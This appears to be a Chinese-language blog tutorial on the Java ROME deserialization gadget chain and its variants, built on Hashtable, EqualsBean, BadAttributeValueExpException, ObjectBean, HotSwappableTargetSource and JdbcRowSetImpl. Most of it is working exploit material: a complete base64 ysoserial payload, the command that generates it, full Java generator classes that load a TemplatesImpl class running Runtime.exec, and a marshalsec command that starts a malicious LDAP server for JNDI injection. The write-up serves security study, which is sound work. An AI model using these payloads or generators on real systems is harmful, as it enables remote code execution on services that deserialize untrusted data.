参考文章

从零开始分析

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作。

环境搭建

Idea 新建一个Maven项目

这里直接到maven包就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>

新建一个demo来进行触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Poc {
public static void main(String[] args) throws IOException,ClassNotFoundException {
String base64_exp = "BASE64_STRING";
byte[] exp = Base64.getDecoder().decode(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
}

image-20230508140800599

然后关掉 IDEA 的 toString 对象视图, 因为该选项会默认调用实例方法的 toString, 并且会忽略 toString 中设置的断点, 而 ROME 链涉及到 ToStringBean 的 toString 方法

image-20230508141203769

利用ysoserial生成弹计算器的payload

1
java -jar ysoserial.jar ROME 'calc'|base64
1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAaeyv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEABGNhbGMIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBACB5c29zZXJpYWwvUHduZXIxNjM4NzExMzMzOTc4NzU0MQEAIkx5c29zZXJpYWwvUHduZXIxNjM4NzExMzMzOTc4NzU0MTsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABcAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5FcXVhbHNCZWFu9YoYu+X2GBECAAJMAApfYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAARfb2JqcQB+AAl4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBxAH4AFHNyACpjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5Ub1N0cmluZ0JlYW4J9Y5KDyPuMQIAAkwACl9iZWFuQ2xhc3NxAH4AHEwABF9vYmpxAH4ACXhwcQB+AB9xAH4AFHNxAH4AG3ZxAH4AAnEAfgANc3EAfgAgcQB+ACNxAH4ADXEAfgAGcQB+AAZxAH4ABng=

然后放入Poc.java里的string 然后进行运行就可以弹出计算器了

image-20230427213256355

现在可以对这条链子进行分析

利用链分析

老样子我们先去ysoserial中看一下调用链的顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()

* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

最上面的是链子的末尾,最下面的是链子的开头

在HashMap的readObject里面

image-20230508144332422

使用了putVal()方法,然后里面嵌=嵌套着一个hash法,先去看看hash()方法

image-20230508144501904

会调用hashcode()方法 这里的key就是ObjectBean这个类了

然后就在这个类的hashcode()处打个断点

image-20230508145415802

然后就开始调试

image-20230508145754594

ObjectBean.hashcode调用了EqualsBean.beanHashCode方法

image-20230508150028029

然后EqualsBean.beanHashCode又调用了ObjectBean.toString方法 这里的ObjectBean和开头的那个调用hashcode的ObjectBean是同一个类

image-20230508150156149

ObjectBean.toString方法又调用了ToStringBean.toString()方法

image-20230508150301354

然后跟进这个ToStringBean.toString()这个方法里面

image-20230508150422220

在 toString 内部会获取 this._obj 的 Class 对象并获取其名称, 然后设置 prefix 为全类名的最后一位 (即 TemplatesImpl), 并在 return 时调用 this.toString(prefix) 这个重载方法

然后到TemplatesImpl.toString()方法

image-20230508150654399

方法内部先通过 BeanIntrospector.getPropertyDescriptors() 获取 this._beanClass 的 JavaBean, 然后遍历 getter, 判断其是否由 Object 类声明, 并且是否无参, 最后调用这个无参的 getter

再往下就是 TemplatesImpl 的内容了, 很容易想到它的 _outputProperties 属性存在 getOutputProperties 这个 getter, 并且在里面调用了 newTransformer 方法, 经过一系列调用最终加载 Java 字节码并执行它的无参构造方法

总的来说利用链还是比较简单的, 就是 ObjectBean EqualsBean ToStringBean 之间的相互调用

这里的话之后就是TemplatesImpl实例化恶意类的流程

1
2
3
4
5
TemplatesImpl-->getOutputProperties()
TemplatesImpl-->newTransformer()
TemplatesImpl-->getTransletInstance()
TemplatesImpl-->defineTransletClasses()
TemplatesImpl-->defineClass()

HashTable利用链

这条链子实际上就是在HashMap被ban的情况下进行反序列化,因为最终目的始终都是调用hashcode函数,而HashTbale中刚好调用了hashcode,因此仍然可以触发整套流程

image-20230508160704668

这个HashTable里面的readObject方法,里面有一个key,然后这里面又有一个reconstitutionPut()方法,跟进这个方法

image-20230508160835775

那么就可以利用这个来替换掉HashMap了

那么利用链

1
2
3
4
5
6
7
8
9
10
11
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
Hashtable<K,V>.reconstitutionPut(Entry<?,?>[], K, V)
Hashtable<K,V>.readObject(ObjectInputStream)

这里话EqualsBean换成ObjectBean也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Demo {
public static void main(String[] args) throws Exception{

TemplatesImpl templatesImpl = new TemplatesImpl();
JavaClass cls = Repository.lookupClass(Hello.class);

setFieldValue("_name", "Hello", templatesImpl);
setFieldValue("_bytecodes", new byte[][]{cls.getBytes()}, templatesImpl);

ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

Hashtable ht = new Hashtable();
ht.put(equalsBean, 123);

setFieldValue("_tfactory", new TransformerFactoryImpl(), templatesImpl);

Serialization.test(ht);
}
public static void setFieldValue(String name, Object value, Object obj) throws Exception{
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}

Hello.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Hello extends AbstractTranslet {
public Hello(){
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

image-20230508161225081

EqualsBean

接下来我们来看这个类的定义

image-20230508162335613

image-20230508162402274

EqualsBean 刚好也存在 hashCode, 并且也能调用 this._obj 的 toString

那么这里就可以指定 this._obj 为 ToStringBean

这里的话在EqualsBean这个类的定义处就可以指定了

ToStringBean 的构造方法

image-20230508163433188

我们指定 _beanClass 为 Templates.class, _obj 为 TemplatesImpl

这里为什么指定这些呢,这是在刚开始对ysoserial给的exp的时候,我们来完整跟了一遍,然后得到的参数

等下接下来的各种链子都是一样的道理

利用链

1
2
3
4
5
6
7
8
9
10
11
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

paylaod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Demo {
public static void main(String[] args) throws Exception{

TemplatesImpl templatesImpl = new TemplatesImpl();
JavaClass cls = Repository.lookupClass(Hello.class);

setFieldValue("_name", "Hello", templatesImpl);
setFieldValue("_bytecodes", new byte[][]{cls.getBytes()}, templatesImpl);

ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

Map map = new HashMap();
map.put(equalsBean, 123);

setFieldValue("_tfactory", new TransformerFactoryImpl(), templatesImpl);

Serialization.test(map);
}
public static void setFieldValue(String name, Object value, Object obj) throws Exception{
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}

image-20230508164210620

BadAttributeValueExpException

BadAttributeValueExpException 曾在 cc 链中出现过, 它的 readObject 方法也会调用 toString

image-20230508165124096

valObj 从自身的 val 属性获取, 之后进入 if 判断, 这里的触发条件其实是 System.getSecurityManager() == null, 即未开启 Java 安全管理器, 最后调用 valObj.toString()

image-20230508165459463

这里的val可控,所以valObj也可控

利用链

1
2
3
4
5
6
7
8
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
BadAttributeValueExpException.readObject(ObjectInputStream)

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

public class Demo {
public static void main(String[] args) throws Exception{

TemplatesImpl templatesImpl = new TemplatesImpl();
JavaClass cls = Repository.lookupClass(Hello.class);

setFieldValue("_name", "Hello", templatesImpl);
setFieldValue("_bytecodes", new byte[][]{cls.getBytes()}, templatesImpl);
setFieldValue("_tfactory", new TransformerFactoryImpl(), templatesImpl);

ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

BadAttributeValueExpException e = new BadAttributeValueExpException(123);
setFieldValue("val", toStringBean, e);

Serialization.test(e);
}
public static void setFieldValue(String name, Object value, Object obj) throws Exception{
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}

image-20230508165611024

ObjectBean

ysoserial 链用的就是 ObjectBean

就是和我们文章刚开始的时候分析的一样

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Demo {
public static void main(String[] args) throws Exception{

TemplatesImpl templatesImpl = new TemplatesImpl();
JavaClass cls = Repository.lookupClass(Hello.class);

setFieldValue("_name", "Hello", templatesImpl);
setFieldValue("_bytecodes", new byte[][]{cls.getBytes()}, templatesImpl);

ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesImpl);
ObjectBean objectBean2 = new ObjectBean(ObjectBean.class, objectBean1);

Map map = new HashMap();
map.put(objectBean2, 123);

setFieldValue("_tfactory", new TransformerFactoryImpl(), templatesImpl);

Serialization.test(map);
}
public static void setFieldValue(String name, Object value, Object obj) throws Exception{
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}

HotSwappableTargetSource

这个其实我们在之前的文章,也就是西湖论剑的easy_api里提到过,一个拿来当跳板的类,这个类有equals方法,可以触发Xstring的toString,那么也就可以接上Rome的后半段

这里的话需要导入一个maven

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.12</version>
</dependency>

image-20230508171236938

这边的流程也很简单,首先入口还是hashmap,里面的putval函数调用了equals,然后key可控,然后就到了HotSwappableTargetSource里面的equals

image-20230508171756171

target:左边的是h2右边equals里面的是h1

这里的target就是xstring,右边里面的内容就是ToStringBean,随之进入Xstring的equals方法里

image-20230508172034808

然后这里的obj2就是前面右边的target,就是toStringBean

obj2就是ToStringBean,因此链子闭合,逻辑无误

然后链子就构造完成了

JdbcRowSetImpl利用链

这个类是在FastJson反序列化里见到的一个类,这个类中调用了lookup方法,因此可以进行JNDI注入,所以JDK版本也要注意一下,jdl8的话要小于191版本
这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData(),而rome链中又可以调用任意get方法,那其实也就和TempaltesImpl链思路是一样的,只是在不能使用TempaltesImpl时可以进行替换
这里介绍一个工具,marashalsec,用来起恶意ldap和rmi服务端的一个工具,很方便
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://](http://127.0.0.1:8888/#EXP)localhost:8888/#Exploit 9999
在8888端口放上你的payload,这里就准备一个弹计算机的,名字改为Exploit